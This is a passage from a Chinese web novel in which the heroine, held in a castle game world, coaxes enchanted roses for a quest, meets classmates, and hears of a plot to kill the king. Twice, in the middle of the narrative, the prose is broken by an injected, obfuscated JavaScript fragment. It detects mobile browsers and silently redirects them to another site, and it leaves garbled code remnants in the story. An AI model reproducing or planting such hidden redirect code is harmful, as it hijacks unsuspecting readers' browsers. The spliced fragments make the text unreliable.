“感觉你的内心深处一直都只有你一朵花,你一直在伪装自己。你给我的感觉就像博尔赫斯那句‘你不过是每一个孤独的瞬息’。很多时候我想去了解你,想知道你在想什么,又觉得你的外界有一层保护膜,我不想打破。” 听完,白玫瑰安静了半晌,然后深褐色的花枝忽然簌簌颤动起来,躺在花蕊间的晶莹露珠顺势滑落,掉落到锯齿状叶片上,像极了人抬手拭泪的动作。 虽然白玫瑰不知道博尔赫斯究竟是谁,但温初夏的这段长篇大论深深触动到了它的内心,让它体会到了灵魂被剖析看透的震撼与感动。 高塔月夜觅知音,此人,就是它的知音! 白玫瑰:“你也很特别,和我从前见过的人类都不一样,那些人从来感受不到我的孤独,甚至还有的觉得我矫情,你是第一个读懂我内心真实想法的人,你真是一个感性的聪明人,如果世界上人人都像你这么聪明体贴,那我就不至于整日里唉声叹气了。” 说着,它惋惜地叹了口气。 温初夏没想到自己随口背的抽象文案居然这么有效,心中狂喜,赶紧乘胜追击:“那你愿意让我把你带离这里,到有更多人欣赏你的地方去吗?” 白玫瑰闻言,却立刻缩了回去,断然拒绝:“不要。你们人类都有喜新厌旧的臭毛病,如果将来又拥有了其他颜色的花,会立刻把我扔到一边的。” “怎么会!”温初夏拍着胸膛保证,“虽然大部分人类确实容易喜新厌旧,但我不一样呀,你刚刚不是才说我和别人不一样吗?我发誓,只要你同意让我把你带出去,我就绝对不会辜负你,一生一世只欣赏你这一朵玫瑰。” 听着好像渣男语录啊。温初夏心中暗自吐槽。 但她想得太美了,白玫瑰并不是她随便三两句话就被骗走的恋爱脑,为表抗拒,它收紧了全部的花瓣,看起来跟自闭儿童似的,不再说一句话。 戳戳紧实的花苞,它没反应。 扯扯细长的叶子,还是没反应。 小心地捏住它带刺的花枝,或使巧劲拉扯,或用蛮力掐折,依旧是没、反、应。 温初夏严重怀疑这花埋在土里的根茎,是不是每一条都绑着一个一吨重的哑铃,不然凭她现在能徒手把铁链掰开一条缝的力气,怎么可能搞不定一朵柔弱小花? 温初夏算是信了周雅宜说白玫瑰很难搞的话了。 并且它也太脆弱了,自己又没说什么重话,就自闭成这样,碰瓷专业户看了都要说一句牛。简直比四五岁的小孩子还要难哄。 “欸。”她喊它,“欸欸,你萎了是吗?吱一声啊。” 花苞纹丝不动。 行吧。温初夏换了条腿支撑身体。 既然从花嘴里撬不出有用信息,那就分析分析其它的,比如,这个副本。 古堡副本并不像向日葵小学副本,无论玩家怎么变动,其故事情节和游戏规则都是固定不变的。 前面说过,古堡副本是为国王量身打造的,那么所有的剧情脉络都应该和时准有关。 温初夏回忆起周雅宜背给她的小半截残诗: 它的刺太柔软,无法染红自己,它的花瓣苍白,却替代不了月光……它问:为什么我的颜色无人看见? 上次走这个副本的时候,预言书里也出现过一首类似的诗,但诗里的玫瑰花并没有问问题,根据控制变量法可得,多出的最后一句问题肯定和时准有关。 可是能有什么关系呢? 时准长得帅,成绩好,从前的性格也是相当nice,放人堆里永远是最耀眼最受欢迎的那个,怎么可能会“无人看见”,受人忽视呢。 温初夏想不明白,又琢磨起第一句来:它的刺太柔软,无法染红自己…… 等等!那她帮它染可以不? 温初夏又来劲了:“欸。” 她戳了戳白玫瑰,问:“如果我能把你变成红玫瑰,你愿意和我走吗?” 这句话起了作用,紧闭的花苞张开一小点空隙,孩童般稚嫩天真的声音带着一丝期待:“你真的可以把我变成红色吗?用什么方法?” 有戏! 温初夏垫着脚尖慢步挪近,同时右手伸向身后,说:“当然啦,但你要先把花瓣打开,我才会告诉你方法。” 两秒后,洁白柔嫩的花瓣缓缓打开,像刚孵化出的小鸡啄破蛋壳,露出头来。 温初夏瞅准时机,伸出握着银刀的右手,五指用力,鲜红滚烫的血液快速滑过刀尖,滴滴答答落在白玫瑰身上,将花瓣湿成血红。 花儿立刻爆发出惨烈凄厉的尖叫—— “啊!快住手!我晕血啊!” 稀奇,头一次听说有花晕血呢。 温初夏没有停手。 直到看见白玫瑰的花瓣尽数绽开,并逐渐停止了颤动,她才松开刀柄,牙齿辅助左手撕下一段裙摆布料,缠绕在鲜血淋漓的右手上。 …… 第二天,再次伪装成女佣前来送早餐的周雅宜,看见温初夏床边柜上放着一株盛放得恰到好处的白玫瑰,整个人都惊呆了,问她是怎么把花挖出来的。 在听温初夏讲完她的骚操作后,周雅宜无话可说,只是给她竖了个大拇指。这次周雅宜并没有留太久,怕又被时准逮住了,抓紧时间把昨天没来得及说的两个重要信息透露给她。 “大概一个月前,城堡里先后来了两批人,第一批说是新招聘的佣人和马戏团,我偷偷看过一眼,里面混了好些亚洲人,季明轩和几个同学就在里面,但有好几个女生我不认识。” “第二批人倒都长着欧美人的脸,听说是你母国的亲戚,来这里是为了看望你和参加婚礼的,小雪说时准明晚准备要宴请他们,到时候你应该也要出席。” “还有就是时准他妈妈,林姨,她确实也在这里。但奇怪的是……她并没有原来的记忆,而是真的把自己当做了这里的人。并且这里的她有些疯疯癫癫,整天念叨着她已经死了的小女儿时淼,说时淼没有死,是时准把她藏起来了,不让她们母女团聚。” 说完这些,周雅宜就端起玫瑰花走了。 温初夏不忘和她再握了握手,然后躺床上补觉,吃完午饭,她觉得没睡够,继续补,却在下午两点被敲门声叫醒,一群女佣服侍她换上能见外人的衣服,说稍后会有裁缝来为她量身材尺寸,好赶制婚纱。 一听到婚纱二字,温初夏才对自己即将结婚这件事有了实感,心中升起一股难以言状的情绪。 然而,还没等她仔细分辨这股情绪到底从何而来,因何而起,城堡的裁缝就来了。 两女,一男。 分别是李书雪,季明轩,和徐黎。 “怎么会是你?!” 温初夏先不去管那两个忙着摘鼻子摘耳朵的人,双眼瞪大,直勾勾地看着同样也一脸震惊的徐黎。 她怎么会出现在这儿? 之前听说林茵陈在的时候,温初夏就有所怀疑,猜测系统是不是出问题了,怎么会把原始界面的边缘角色给扯进来。 而现在见到连边缘角色都算不上,顶多算个路人甲的徐黎,她才终于敢确定,系统就是出问题了。 待会儿得去交流频道里找粉团子好好问问才行。 徐黎先把温初夏从头到脚扫了一眼,然后目光落在温初夏颈间突兀的项圈上,表情有些呆滞,有些离奇,她挑起一边眉,问: “你这是什么造型?你不是马上就要嫁给国王了吗,什么人敢在你身上锁链子?” 温初夏不语,只是对她苍白地笑了笑。 徐黎呆住片刻,然后霎那间懂了,抽气道:“国王居然有这种癖好,那你千万不能嫁给他啊!” “你想什么呢。”温初夏失笑,把垂在肩前的铁链甩到身后,坐在旁边的高背软凳上,解释说:“他给我戴这个是为了防止我逃跑。” 虽然温初夏严重怀疑时准有这方面的恶趣味,但为了保护自己所剩不多的面子,她只能坚持咬定这一个听起来稍合理一点的原因。 “你是怎么来这里的?身边还有其他人也一起过来了吗?”温初夏问。 “我也不知道。”徐黎烦躁地拧着眉,“当时我正在课上打瞌睡,眼睛一闭一睁,就发现自己来到了这个鬼地方,除我之外还有我姐,和几个同学,都是之前在你家楼下被你揍的那几个。” “嗯?”拆卸完毕的季明轩冒出来,看着温初夏,“你揍谁啦?你居然还会揍人??” 温初夏自动忽略他这句话,继续问徐黎:“那你姐姐和你同学分别都在哪儿啊?”感情系统是以自己为圆心,以自己的社交范围为半径,无差别乱耗人啊。 怎么办,有点罪过。 为什么明明是时准惹出的烂摊子,倒霉的却是她身边的人,还有没有天理了?! 不知道徐黎这些天经历了什么,整个人沉稳了不止一点半点,混乱之余还不忘工作,边从工具箱里把软尺羽毛笔和牛皮纸拿出来,边回答:“几个同学都和我一起在缝纫室,专业对口,但我姐就运气比较差了,她在地牢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610308|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “她被关起来了?”温初夏面色凝重起来,忙问:“她犯了什么事啊?” 如果徐珂真被关了,那自己得抓紧把她救出来才行,要知道这个时代的地牢可不是开玩笑的,呆在里面可遭罪了。 “她没被关,她关人。”徐黎的话让温初夏刚悬起的一颗心又放下。“我姐是管理地牢的,平时忙着巡视、看人、揍不听话的罪犯,我自从来了这里,就和她见过两次面。” 徐黎让温初夏站起来,给她量身长和三围。 李书雪靠在贴着茛苕纹壁纸的墙上,看着呈“十”字形站立的温初夏,一副饶有趣味的表情,啧啧地开玩笑:“这下真成待嫁新娘了,话说你和时准有商量伴娘是谁吗?如果没有,我很愿意和周雅宜竞争这个位置。” 刚刚遭受冷落的季明轩再次插话,举手道:“那我想当伴郎。” “你俩够了啊。” 温初夏无语地闭上眼,在徐黎的要求下转了个身。 她都不敢想象婚礼当天会有多鸡飞狗跳血雨腥风,在场的宾客能活下来三分之一就不错了,他俩居然还争着要当伴郎伴娘,嫌命太长是吗。 温初夏睁开眼,转回身,她想起了早上周雅宜的话,于是问季明轩:“我听说你是不久前才来的城堡,而且还是跟着马戏团一起进来的,能采访一下你这一年到底经历了什么?”她很好奇。 “没经历什么。”季明轩面无表情声无起伏,“也就是头两个月和五只猴子睡在一个屋里,闲来无事喂喂老虎斑马和大象,在短短三个月内练就了踩高跷、转盘子、独轮车等多项技能,最终依靠独特的个人技成为了全团的台柱子,而已。” “哇——”温初夏啪啪鼓起掌,笑得虚情假意:“请问是什么个人技呢?” “这个嘛,难以言说。”季明轩走到她面前,“要不我给你现场示范一下?” 温初夏看着他黑白分明的下垂狗狗眼,非常期待地点点头:“好啊。” 房间安静了几秒,忽然—— “哈哈哈哈哈哈哈……” 好像有一万根蓬松的羽毛同时在挠她浑身上下所有的痒痒肉,温初夏控制不住地放肆大笑起来,但同时她又觉得很丢人,捂脸瘫坐在凳子上,眼泪都飙出来了。 等笑声终于停下来,季明轩才一脸无辜地解释:“这就是我的个人技,能让被我看的人大笑五秒。” 温初夏抹干眼泪,捂着笑到腹痛的肚子,上气不接下气:“怪、怪不得是你们团的台柱子——但一句话就能解释清楚的技能有什么难以言说,你故意的是不是?” “谁让你刚才把我当空气。”季明轩耸耸肩,又从口袋里拿出一张纸,递给她,“这是周雅宜中午给我的,是那首诗的第二节。” 温初夏揉揉肚子,打开一看。 【黄玫瑰在礼拜堂墙角的阴影绽放。 它的花香带着青涩的酸楚, 它的色彩渗透无奈的哀伤, 雷雨惊梦,蕊间流转的是雨,也是泪。 它问:为什么我连芬芳都是苦涩?】 怎么又是这种悲伤疼痛的调调啊。 采花大盗温初夏有些胃疼。 但任务还是得做的,她抬头问李书雪:“城堡的礼拜堂在哪儿啊?” 徐黎则露出一副茫然的表情:什么诗?什么礼拜堂?你们在说什么?我怎么一个字也听不懂呢! 李书雪:“主楼后侧西边。” 他们同学之间的信息流通之所以能顺畅,大半功劳都要归结到在后厨工作的李书雪身上,因为她能借着做饭送饭的机会,向城堡的各个地方传递讯息。 早在上午十点,李书雪就知道了第二节诗的内容,而中午,就有人去礼拜楼找这朵黄玫瑰了,但目前那边的状况如何,尚未得知。 她见温初夏一脸“任务来了”的表情,知道这人想干嘛,软声道:“你别总想着一个人冲锋陷阵,雅宜已经带着几个人去了,一有消息就会立刻通知你的,你目前的任务,就是演好待嫁新娘,以及帮我们打掩护,别让时准发现我们在干嘛。实在搞不定了再请你出山,行不?” “好。”温初夏勾唇笑笑。 环境对人的影响真的好大,还记得上一个副本,这群高中生无论遇到什么危险状况,首先做的第一件事就是来找她想办法。 没想到短短一年……好吧也不是很短,不见,居然一个个的都能独当一面了,这绝不是因为技能的加持,而是他们心态上变得更加独立和成熟,也更愿意承担责任了。 感动之余,温初夏心中不免又有些空落落的,肩上的重担卸下后,踩在地上的脚步反而变得虚浮,不再像从前那样踏实有劲了。 所以当晚,她失眠了。 其实她当了这么久的睡美人,会失眠是理所当然的事情,但因为温初夏这人天生劳碌命,上进心太强,从前玩命刷级,勤勤恳恳做任务,现如今,下一阶段的任务明明已经下达,摘取黄玫瑰,但她却不能做出行动。 有力没处使,这可把温初夏折磨坏了。她在床上翻来覆去覆去翻来,心里一直念叨着第二节诗,担心其他人到底能不能成功把黄玫瑰摘下来,这才是她失眠的主要原因。 早上从周雅宜那里复制的技能还未失效,温初夏的耳力极好,听到了寝宫外的走廊,有两道鬼鬼祟祟的脚步正在向她这里靠近。 接着,是小心翼翼的开锁声。 “一会儿进去了,她会不会吓一跳然后叫出来啊?万一把那群盔甲士兵引过来,咱俩就遭了。” “应该不会吧,顶级的守护者不至于这么容易被吓到。再说了,你想想这位姐之前干过的光辉事迹,她会被咱俩吓到?听说鬼都吓不倒她。” 声音稍尖的那位揶揄:“怎么又叫上姐了,不该是你娘吗?” 稍厚的忙回怼:“是你娘!” 尖:“你娘。” 厚:“你娘。” “你娘。” “你娘。” 忽然一阵凉风吹出,面前的门从里被打开。 温初夏光脚踩在地板,右手拿着暴力拆卸下来的门把手,面无表情地看着门外这俩一高一矮、一胖一瘦的不知名野生好大儿,声音清醒,语气略凉: “晚上好啊,二位……”智障。 41. 第 41 章 走廊有盔甲士兵来回巡逻,门外的两名不速之客来不及尴尬,赶紧进了屋。 温初夏把可怜的把手怼回门洞,打算一会儿再修。 “说说吧。” 天花板的水晶吊灯亮起,她坐在梳妆台边的软凳上,翘着二郎腿,虽然很不明所以,但面上仍摆出一副云淡风轻的样子:“我都不知道自己居然当妈了——是总部派你们来给我当儿子的?” “误会误会,这就是个外号。”胖子尴尬不已,脸上白花花的皮肉苦涩地挤在一起,“我们确实是因为接到总部的下派的任务才来的,但不是来给你当儿的!我们是来帮助你从这个界面离开的。” “哦。”温初夏立刻反应过来,“我听说前段时间有一批自称是我母国的亲戚来了城堡做客,该不会就是你们吧?” “是,同事也勉强能算亲戚嘛。”胖子笑了笑,一张圆脸看着越发喜庆,但红彤彤的脸色不是因为尴尬或者高兴,而是气不顺憋的。 他人胖,脖子也很粗,欧式礼服高耸至下颌的立领于他而言,无异于在脖子上套了一根坚韧的绞绳。 这会儿他已经憋到极限了,再不大口呼吸到新鲜空气,立刻就要昏厥过去,于是他仰起头,两手撕扯衣领。 旁边的瘦子见他这副和衣服搏斗的蠢样,嘴唇上的两撇胡子嫌弃地耸动了下,目光移回到温初夏身上,对她解释说: “你之前所在的融合界面早就修复好了,但因为你们被困在这里,迟迟回不去,所以融合界面无法运转,发生了异动,开始踢除书里的角色,进行自我格式化。” “被踢除的角色无处可去,就被吸纳到这里来,导致这个界面隐约有要取代原界面的趋势,如果你们不赶快回去,等到原界面格式化完成,那就真的再也回不去了,就连你也会永远困在这里。” “永远?”听到这两个字,温初夏淡定的外壳出现裂纹,她从凳子上站起来,“你的意思是,我以后要永远生活在这里,不能再在各个界面穿来穿去做任务了?” “对!所以,嘶……”胖子废了九牛二虎之力,终于把刑具衣领给翻折了下去,肩膀以上的部分看起来像只羽毛球。 “所以这个副本是你最后的机会。”瘦子抢他话道,“原界面预计将在一个月后彻底格式化,如果这个副本无法通关,游戏继续,那么你的余生都将在这里度过。” 温初夏眼前一黑,两腿一软,重新坐回凳子上。 她才刚刚解锁了女主权限,为此把总部得罪了个彻底,还没来得及大展宏图大显身手大有可为呢,就要被困在这个小小的副本界面,了却残生? 她不要。 她绝对不允许这种可怕的事情发生。 温初夏深呼吸一口气,抬眸问:“你们能怎么帮我?” 胖子道:“你应该也知道,这个副本难度系数太大,光凭那些毛都没长齐的高中生,外加一个行动处处受限的你,百分百是没法通关的。而总部虽然紧急派了我们十几位守护者过来,但时间实在太紧张了,离游戏结束只剩最后十二天,我们也不能保证一定能帮你顺利通关,所以……” 接下来的话胖子似乎有些难以说出口,所以他战略性地停顿了下,结果又被瘦子抢了话头:“所以我们提前商量了下战术,打算从源头上解决问题,把这关的BOSS也就是国王,直接给……”他做了个抹脖子的动作。 “你们打算杀了他?!” 温初夏瞬间不淡定起来,又赶紧把不小心外露的激动情绪分毫不少地收回,眼神在地板和地毯之间来回乱飘一阵,放在大腿上的双手十指紧抓着睡裙,问:“这样,能解决问题吗?” “当然能了。”胖子瞪了老抢戏的瘦子一眼,“只要BOSS一没,副本也会立刻结束,就跟主角提前挂了,所在的界面也会跟着崩溃一样——这个道理你应该比我们更清楚的呀。” 这个吨位老站着,胖子的脚有些受不住,所以他毫不见外地盘腿坐在地上,裤子布料被绷到极限,从这个角度,恰好捕捉到了温初夏藏在眼睫之下的浓重情绪。 “怎么了?”胖子有些吃惊,两只圆嘟嘟的手搭放在膝盖上,问:“你不会是不忍心吧?” “怎么会!”温初夏心虚地又立刻站起来,走到椅子后面,右手握住椅背。 她眨了眨眼,问:“那副本终止之后,时准也会和其他玩家一起回到原界面是吗?” “按理来说会的。”瘦子的话让温初夏起伏不定的心脏瞬间安定下来,“这里是副本世界,这里的死亡也不是真正的死亡。等我们的同伴一会儿解决掉他后,你就能回去了,继续走原界面的剧情线……” “等等。”温初夏皱眉打断他,“‘一会儿’是什么意思?你们今晚就要采取行动了??!” “是啊。”瘦子点头,左边短浅的眉毛挑了挑,一副极骄傲的神情: “这些天我们把城堡摸了个遍,特别是国王寝宫附近的那一片,连盔甲士兵的巡逻规律都摸得一清二楚。放心,我们计划得很周密,绝对不会有任何闪失,你呢,只需要躺在床上睡一觉,睡醒之后就会发现自己已经回到原界面啦。” 温初夏看了眼壁炉之上的时钟,已经是半夜十二点四十了,她揣着一颗混乱又麻木的心脏,到门口送客。 “哦对了。”开门前,温初夏回头,挡在门口,看着一胖一瘦两位同事。 “有一件事情忘了问,你俩还没告诉我,我什么时候多了个辈分这么高的外号,哪个王八蛋给我起的?” 她一个编号开头为“3”的守护者都在背地里被喊娘了,那1107那个老古董,他们岂不是要喊太爷爷才行?这人还真是天生当爷的命啊。 “这个不是资历的原因。”胖子尴尬地搔着脸,解释说:“你还不知道吧?你的英勇事迹在守护者圈儿里传得风生水起,谁提起你都要尊称你一声姐,后来大家又知道了你的论坛ID叫‘组团炸系统’,所以就都开始叫你‘团姐’。” “……”温初夏脚趾扣底。 原来被人叫网名是一件这么尴尬的事情吗。等她回去,第一件事就是把马甲换了。 “有一首歌不是这么唱的嘛。”瘦子举起拳头当话筒,小声唱道:“团结就是力量,团结就是你——娘。” 原来是这样。 温初夏真服了,谐音梗能不能扣钱啊! “……你俩赶紧给我滚。” 把两个傻逼踹出去后,温初夏回到床上,习惯性地把坳出缝隙的铁链重新栓在项圈卡扣上,趁今早从周雅宜那儿复刻的技能还没失效,拇指食指用力,很轻易地就将最后一节铁链的缝隙捏了回去。 严丝合缝,看不出一点儿破绽。 但栓完,温初夏才意识到,这个副本马上就要结束了,她根本没必要这么做。 算了,就这样吧,懒得再打开了。 温初夏关灯躺倒在床上,枕头发出“噗”的一声,柔顺的长发胡乱流淌,像黑夜下静谧的、四处分支的河流。 她盯着天花板发了许久的呆,终于在沉默中积累起足够的睡意,干燥微酸的双眼慢慢闭合,她平躺着,双腿打直并拢,两条胳膊隔着被子贴在大腿旁边,很端正的睡姿。 但她的梦境,却一点儿不像外表看上去的这么安稳。 在梦里,时准被一群看不清脸的人疯狂追杀,利剑刺穿他的腹部,毒酒灌入他的喉咙。 在喷出一口稠厚的黑红鲜血之后,他倒在沾染了血迹的地毯上,面色无比平静,但温初夏却能感觉到,他究竟承受着多大的痛苦。 她清楚地看到,那双曾对她笑过、哭过、期待过、愤怒过、威胁过的眼睛,一点一点,失去了原本的生机和光彩,再无力地、缓慢地闭上。 这过程中,浓密乌黑的睫毛一刻不停地颤动着,像被石子击中的鸟雀,从空中坠落,粉身碎骨,临死前最后一点气力被用来痛苦抽搐。 梦里时准闭上眼的瞬间,现实中的温初夏就立刻睁开了眼。 她被吓醒了。 醒来后,温初夏感觉一股湿热且平缓的呼吸扑在颈间,身侧的床垫微微凹陷。 有人侧躺在她旁边,和她枕着一个软枕,下巴放在她的肩膀上,鼻尖触碰到下颌,一只手臂轻搂着她,手指还不忘攥着铁链。 温初夏呼吸一滞,立刻就想坐起来。 但刚一有动作,抱着自己的人就醒了。 贴着脸的脑袋小幅度地拱了拱,同时,覆在小腹的手臂一路上移,手掌扣住她的肩膀,不由分说地把她按回枕头上,看样子是想要继续睡。 凌晨近六点,天空即将破晓,但厚重的窗帘将微弱天光的来路阻断了个彻底,屋内仍是一片黑暗。 温初夏脖子僵直,神经紧绷,似乎抱着她不是人,而是一头十分危险又难以揣测的猛兽。 她大气不敢出,小声询问:“你什么时候来的?” 那群守护者不是信誓旦旦地说今晚要把时准干掉吗,怎么干到她床上来了??? “……忘了。”时准闷声道。 他的嗓音慵懒又沙哑,浸着惺忪的潮气,回答从喉底滚出时带着胸腔的共振,让温初夏的手臂感到一阵抓心挠肝的苏麻。 接着,振动持续—— “大概一小时前吧。”察觉到她的僵硬,原本握着肩膀的大手松开,捏了捏她柔软的耳垂,大拇指亲昵又轻佻地蹭蹭脸颊。 温初夏不得已放松下来,像一只刚炸起毛就被强行抱住摸背的小猫,虽然身体塌软了下去,可眼神依旧是警惕的。 鸦羽的睫毛盖在眼睑,时准呼了口气,手指仍在轻轻蹭她的脸,说:“半夜接待了几位客人,都是你母国的亲戚。我和他们聊完之后,忽然很想见你,所以就来了。” 聊完? 确定不是解决完? 温初夏一动也不敢动,只有心脏在沉沉重击着胸腔,而后渐渐平息,整个人变成一滩死水。 时准抱着她又睡了两个多小时,起床后眷恋地亲了亲她的额头,才离开。 这回假扮女仆来给她送早餐的人换成了李书雪。 “黄玫瑰暂时没有拿到手,还是因为我们回答不出它的问题。”李书雪看着味同嚼蜡的温初夏,说话时,帮她把不喜欢的茄汁焗豆和喜欢的培根蛋饼换了个位置。 “并且昨晚,城堡里发生了件大事。” “什么?”温初夏的腮帮子一下一下动着,机械地咀嚼着嘴里的食物,语气毫无兴致,因为她已经猜到发生的是什么大事了。 果不其然,李书雪压低声音说:“自称从你母国来的那些人里,有几个被杀了,尸体现在就挂在教堂钟楼的尖顶上,串成一串。我听说,他们的血把楼顶都染红了,还有老鹰在吃他们肚子里的内脏,不知道是谁的肠子掉在了楼外的草坪上,可吓人了。” 温初夏:“……” 嘴里本来就不怎么香的培根,忽然更不香了。 李书雪继续道:“雅宜今早忙着调查这件事情,所以就让我替她来见你。她还说她严重怀疑这件事会是时准做的,因为昨晚月圆之夜,季明轩亲眼看到了他们中的两个在主楼四层的露台上决斗。” 李书雪口中的决斗,并不是传统的一人一把枪,看谁运气好能射死谁的那种,而是这个副本独有的一项游戏规则。 在月圆之夜,玩家可自行邀请一名同伴进行1v1决斗,对方有权选择接受,或拒绝。 决斗过程并不血腥,甚至双方都不用携带任何武器,耗费什么力气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620851|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们需要做的只有两件事,第一件是通过猜拳决定先后顺序;第二件,是猜拳胜利的一方先说出对方的牌号,如果说对了,就能把对方的技能收为己有。 相反,如果说错了,自己的技能就会给到对方。 城堡里的学生们上下一心同气连枝,这种损人还不一定利己的事情,他们这一年是从没做过的,因为不需要,还很伤感情。 没想到这帮守护者刚来没多久,就开始起内讧了,怪不得昨晚的行动没成功。 “不用怀疑。”温初夏吃不下了,用丝巾擦嘴,毫无情感的声音干脆道:“就是时准做的。” “你怎么知道?”李书雪双眼睁大,“他们究竟是什么人啊?” “和我们一样,都是玩家。” 温初夏深谙说谎的最高境界就是只说一半真话,另一半不说。他们确实都是玩家,但同时也是守护者。 果然,靠山山倒,靠人人跑。 亏得她昨晚还那么担心时准,做了那么可怕的梦,结果这些口口声声说能帮到自己的人,居然他丫的全是一帮水货。 时间不等人,既然直接解决BOSS这条路走不通,那就咬牙拼一把,按照游戏规则收道具做任务,看12天后,她到底会收获怎样的结果。 是永远被困在这里。 还是创造一个奇迹。 温初夏和李书雪握了下手,复刻了她的缩小技能,变成拳头大小,藏在她的围裙兜里。 第一次从正门离开这间困了她快一年的寝宫,温初夏的小心脏砰砰直跳,生怕被发现了。 但好在没有。 李书雪在后厨还有工作,不能耽误太久,所以把她放在礼拜堂外的台阶上就离开了。 临走前,她还特意叮嘱温初夏千万要小心,说她之前有一次变小,差点儿被一只狗给吃了,从此以后心有余悸,再也不用这个鸡肋技能了。 没想到还能帮到温初夏。 李书雪忽然就觉得,自己这个技能其实也没有很鸡肋了。 和白玫瑰所在的高塔一样,黄玫瑰藏身的礼拜堂也是荒废被锁住的,还好温初夏现在身体变小了,能穿过缝隙进到里面。 礼拜堂内,斑驳石墙上裂痕纵横,高处的彩色玻璃蒙尘的蒙尘,破碎的破碎,残存的碎块在腐朽窗框里瑟瑟发着抖,随时都有掉落的可能。 成排的长椅东倒西歪,上面布满了虫蛀的孔洞,座椅上堆积着厚厚的尘土与枯枝败叶。 潮湿的霉味儿和腐朽的木头味儿混在一起,形成一种奇特又令人不安的气味,风吹过破损的窗棂,发出呜咽般的声响。 不对,是真的有“人”在哭。 温初夏循着哭声一路找去,跟探险小游戏里的角色似的,穿过草丛,跨过水洼,翻过一重又一重的障碍,终于见到了诗里那朵娇滴滴的黄玫瑰。 屋顶有一处破洞,淅淅沥沥的雨水和阴郁的日光都漏了进来,砸落在鹅黄色的花蕊上,伴随着期期艾艾的哭声,看起来这朵花好像真的在流泪。 它的颜色好似一团燃烧的月亮,在层层叠叠的光焰之中,蕊心是一枚凝固的蜜蜡。 花朵在雨水的攻势下簌簌颤动着,透亮的珠子顺着弧面滚成液态的珍珠,悬成晶亮的泪坠,然后倏地坠落,溅起细小的水雾。 缩小后的温初夏甚至还没有一朵花高,只能仰头看着黄玫瑰,没一会儿脸上就被溅满了雨水,她抹了把脸,问:“你在哭什么呀?你有什么伤心事吗?” 黄玫瑰抽噎道:“别的玫瑰花的气味都是香的,而我却偏偏是苦的,我简直是个怪胎,是世界上最最不幸的一朵玫瑰。” 温初夏:“……” 夸张了哈,她昨天才见到了一朵更怪胎的玫瑰,人家晕血呢。 温初夏把白玫瑰的奇葩之处添油加醋地讲给黄玫瑰听,希望它能心情好点儿,这么一直哭哭唧唧的,温初夏简直没法和它正常交流。 不止痛苦,其实幸福有时也是需要比较的,比一比,知道自己其实不是最惨的一个,还有更惨的,心情顿时就会舒服许多。 所以黄玫瑰不再哭了。 温初夏旁敲侧击地和它聊了好半天,甚至还夸下海口,说只要它愿意被自己摘下带走,她就能让它变成世界上最香最香的玫瑰花,城堡里所有人都能闻到它的香气。 可惜黄玫瑰并不像白玫瑰那样容易上当,没有答应温初夏的提议,还直言花太香也不一定是件好事,因为那样的话蝴蝶蜜蜂等昆虫就会嗡嗡地缠上来,很烦花。 温初夏:“……” 那你刚才哭啥呢我请问? 她在礼拜堂一直呆到中午,嘴皮子磨破了都没能劝动这朵倔强又骄傲的玫瑰,一时觉得走投无路,内心无比灰暗。 她坐在一颗鹅卵石上,仰头看着墙壁上挂满蛛网的一排神像,祈祷哪位主能来帮帮她,降了这朵妖孽吧。 温初夏不知道,在她和黄玫瑰斗智斗勇磨嘴皮子的这段时间里,外面尚且还活着的同事们,因为她的离奇失踪,已经快急疯了。 所以当她点开许久未逛的守护者论坛,想发帖问一问有没有走过这个副本的人可以分享一下通关经验,却发现之前那栋Flag高楼居然正在诈尸—— 1256L:娘!你人呢你人呢你人呢你人呢你人呢你人呢你人呢你人呢你人呢你人呢你人呢你人呢??? 1257L:陛下刚才发现你人不在房间,一口咬定是我们把你藏起来了,说如果不把你交出来,他每一个小时就要剁我们之中的一个人[哭脸][哭脸][哭脸] 1258L:冤枉啊——[跪地] 1259L:啊啊啊陛下已经在磨刀了,人命关天!你快回来啊啊啊啊! 温初夏:? 42. 第 42 章 寝殿门被从外打开时,温初夏已经把自己变回正常大小,老实规矩地靠坐在床上。 项圈锁在白皙颈段中央,脏污的睡裙衣角被严严实实藏在被子之下,目光闲散地落在床前的梳妆凳上,眼睛里净是无聊的平静。 但与此同时,她双颊微红,衣领下的胸腔剧烈起伏着,几缕发尾湿哒哒的,黑亮到仿佛要滴下墨汁,是刚才在黄玫瑰那儿淋的雨水未干。 总之,温初夏虽竭力摆出一副岁月静好的模样,可明眼人仔细一看就会发现,她浑身上下到处都是破绽。 “刚才去哪儿玩了。”时准坐在床边,棺材脸上一如既往地看不出情绪。 “嗯?你在开玩笑吗?我今天上午哪儿也没去啊。” 温初夏微微睁大双眼,露出一副迷茫的表情。 虽然时准肯定在几小时前亲眼见过这个房间空无一人的场面,但她才不要承认,因为一旦认了,眼前这个极其擅长蹬鼻子上脸的人,就有理由“惩罚”她了。 而且,骗人的又不光她一个,时准明明能感知到她的位置,却非要冠冕堂皇地说是其他守护者把她藏起来了,威胁他们把人交出来,这不明摆着是把他们当猴耍吗。 还把猴们吓得一把鼻涕一把泪,在Flag贴里哭爹喊娘,狂刷了三百多条寻人启事,搞得温初夏以为发生了什么大事了,只能先放弃游说黄玫瑰,马不停蹄地赶回来。 结果她刚一坐在床上,时准就从屋外进来了,时间卡得分毫不差,让人很难不怀疑,这厮是故意的。 “哦,原来是你没出去啊。” 时准唇角勾了勾,弧度并不嘲讽,也不揶揄,倒是十足的玩味。 